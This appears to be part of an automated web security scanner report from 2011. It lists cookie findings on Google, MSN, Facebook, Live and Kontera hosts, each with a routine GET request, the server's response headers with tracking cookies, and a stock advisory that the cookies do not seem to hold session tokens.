The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh/v/x3d78/x26 HTTP/1.1 Host: khm1.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=6150361c4ff61aec:TM=1296660738:LM=1296660738:S=KMYUbLyfTtUioz77; expires=Fri, 01-Feb-2013 15:32:18 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Date: Wed, 02 Feb 2011 15:32:18 GMT Server: btfe Content-Length: 1368 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh HTTP/1.1 Host: khmdb0.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=f9ac3558c946f1bf:TM=1296574515:LM=1296574515:S=GYTuoTJIwZnulK74; expires=Thu, 31-Jan-2013 15:35:15 GMT; path=/; domain=.google.com Date: Tue, 01 Feb 2011 15:35:15 GMT Server: btfe Content-Length: 1356 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh HTTP/1.1 Host: khmdb1.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=0f7b297aa78cda55:TM=1296574516:LM=1296574516:S=u4YfcXlDueAKsrh4; expires=Thu, 31-Jan-2013 15:35:16 GMT; path=/; domain=.google.com Date: Tue, 01 Feb 2011 15:35:16 GMT Server: btfe Content-Length: 1356 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /KonaGet.js HTTP/1.1 Host: kona32.kontera.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Content-Type: text/plain Content-Length: 17 Set-Cookie: KONA_USER_GUID=123B26B2-2E10-11E0-80DD-00163E201266; expires=Fri, 31-Dec-2020 23:59:59 GMT; path=/; domain=.kontera.com Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: latino.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:32:57 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA12 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=2a12c3db76554c88bcc15f3d1972d7d1; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=446F7968FE604E76BC57FDFC6FE2F8F8; domain=.msn.com; expires=Sun, 21-Aug-2011 15:32:57 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 31394
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv=" ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /relationships/ HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:33:36 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA14 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=19b8b919321c4b70a4c56228d47fe5d7; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D7D346F140D24800A7F7C7D8AE9E7587; domain=.msn.com; expires=Sun, 21-Aug-2011 15:33:36 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 37351
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv=" ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /relationships/staticslideshowglamour.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:23 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA14 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f9e342628c86424dbe17a9b36721ff3e; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=510B51B44D8441759249F9B01D1FC431; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:23 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 34781
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /relationships/your-money-today/article.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2011 15:35:22 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA15 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Location: http://lifestyle.msn.com/relationships/articleindex.aspx Set-Cookie: MC1=V=3&GUID=aed3eab0d2944a70a4acb0f61a52979f; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A244C42C3EB543068F140045C0B53D89; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:22 GMT; path=/ Cache-Control: no-cache Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-home/cleaning-organizing/staticslideshowrs.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA09 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=410267d1726a48e480f7cffabbfdbf02; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D8AA77AA6972477889BB0708E24E1D83; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 44793
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-life/family-fun/staticslideshowrs.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA15 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=fcb37a0085454e42a154dc796c3627c6; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=587C4F381A484F638F5133EFD31A25BE; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 33334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-life/new-year-new-you/article.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2011 15:35:25 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA13 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Location: http://lifestyle.msn.com/your-life/bigger-picture/default.aspx Set-Cookie: MC1=V=3&GUID=86c5ac9c5d5248acbd08455e21fd0f6c; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D57F67F0B6374E41BE43B798CE54D9DE; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:25 GMT; path=/ Cache-Control: no-cache Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/ HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:32:59 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA13 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=15f7dd757e1f4dd29c256ddabb4fbc01; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=8F8656FEF23A4A4BB26DBD1791075CFD; domain=.msn.com; expires=Sun, 21-Aug-2011 15:32:59 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 36572
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/celebrity-style/staticslideshowmc.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:19 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA10 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=db3e8205e43d4e5eaa57a6d1324745b7; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=ADBCA3C4A108460A871E079DD85C62EB; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:19 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 38689
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/everyday-style/staticslideshowglamour.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:17 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA15 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=3f5abd0dc0f84cbe94df6230af2ee06c; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=25F4103F0B9D43649A7DDF5A83578845; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:17 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 47565
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/everyday-style/staticslideshowlucky.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:17 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA08 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=b92db3a9296f4d6dac31d28373f517a4; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=86119F07135943FAA639279C0A5E608F; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:17 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 53009
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/well-groomed-male/staticslideshowgq.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:19 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA08 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=82f20f62c0c34e9aa45db0562ae04303; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=792657CF36AE4135914E87FA814E0519; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:18 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 47396
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:33:53 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA27 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c3af7a7696394c059fb54ea07012ac32; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=1C752DD9CA8D47F6B859932998A5A5A5; domain=.msn.com; expires=Sun, 21-Aug-2011 15:33:53 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 45825
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hourly.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:37 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA30 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a88927d5284b4f0db193dcb398666b00; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=DE601FFA41DC4AE7A2ACD605FC555949; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:36 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 52352
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /movies-events.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:34 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c724f512793f40f7b545863d70887ae9; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=91907563A38849D1A4E116FF013302D8; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:33 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 53547
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f947a926dcc6448ab9adb2fe46c957ce; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=BA421F87D3D544989D735829E15D49E7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 45754
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /restaurants.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:33:58 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA26 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=55093cd8c86c4eec9aa83f4a411553a7; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D4302824917C48BF812A10E485459A9D; domain=.msn.com; expires=Sun, 21-Aug-2011 15:33:58 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49235
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sports.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:31 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA30 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=91674b5e4f20471eb76593a1de875742; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=29EFBD9A51484401A707F30A0C1054D7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:31 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 94605
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ten-day.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:34 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a493fc2dada348559f36f3b1b7ee2baa; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A97D30A3A7E74A1390F36B78341CB76F; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:34 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49125
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /weather.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:29 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f0bf2ff54ef24146a8f224ade917b784; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=AD37BD0DAAF74A8193957788A235401B; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:29 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49007
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /help/ HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /login.srf HTTP/1.1 Host: login.live.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
